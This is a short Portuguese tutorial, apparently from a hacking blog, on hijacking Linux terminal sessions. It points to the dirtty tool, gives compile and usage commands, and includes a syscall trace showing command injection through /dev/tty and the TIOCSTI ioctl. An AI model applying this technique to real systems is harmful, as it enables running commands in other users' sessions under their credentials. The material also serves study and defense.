TTY Hijacking in Linux

TTY Hijack é um ataque direcionado a sessões estabelecidas no servidor alvo. O ataque consiste em sequestrar a sessão do usuário (local ou remoto) e utiliza-la para diversos fins. Durante o ataque, todos os comandos inseridos em seu Data Session aberto pelo hijacker será lançado automaticamente no tty/pts atacado, fazendo com que os comandos executados por você, sejam na verdade executados pelo tty alvo, e com as credenciais do usuário OWNER do tty alvo.

Para este ataque é preciso ter privilégio de root no sistema comprometido uma vez que o ataque utiliza-se de um open() no /dev para criar um hook na sessão que você irá sniffar.

Neste exemplo irei utilizar como PoC (Proof-of-Concept) uma ferramenta bem antiga do teso-team chamada dirtty. Esta tool é simples e atende as necessidades básicas de um tty hijack que é inserir comandos em um tty remoto ou local.

Download: dirtty.c

Para compilar basta utilizar : $ gcc dirtty.c -o dirtty

# ./dirtty
err: usage: ./dirtty </dev/ttyXY>

Para executar é so passar a string que é o tty que você deseja sequestrar. Abaixo segue um videozinho que eu fiz mostrando como seria este ataque no mundo real.

Esta técnica pode ser amplamente utilizada, basta utilizar a imaginação.

Como Funciona

open(“/dev/tty1”, O_WRONLY) = 3 #Abre o dispositivo /dev/tty1 em Write Only

ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo …}) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo …}) = 0
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig -icanon -echo …}) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig -icanon -echo …}) = 0
read(0, “i”, 1) = 1
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f13000
write(1, “i”, 1i) = 1 #Envia caracter por caracter

ioctl(3, TIOCSTI, “i”) = 0
read(0, “d”, 1) = 1
write(1, “d”, 1d) = 1
ioctl(3, TIOCSTI, “d”) = 0
Good Hacking for all.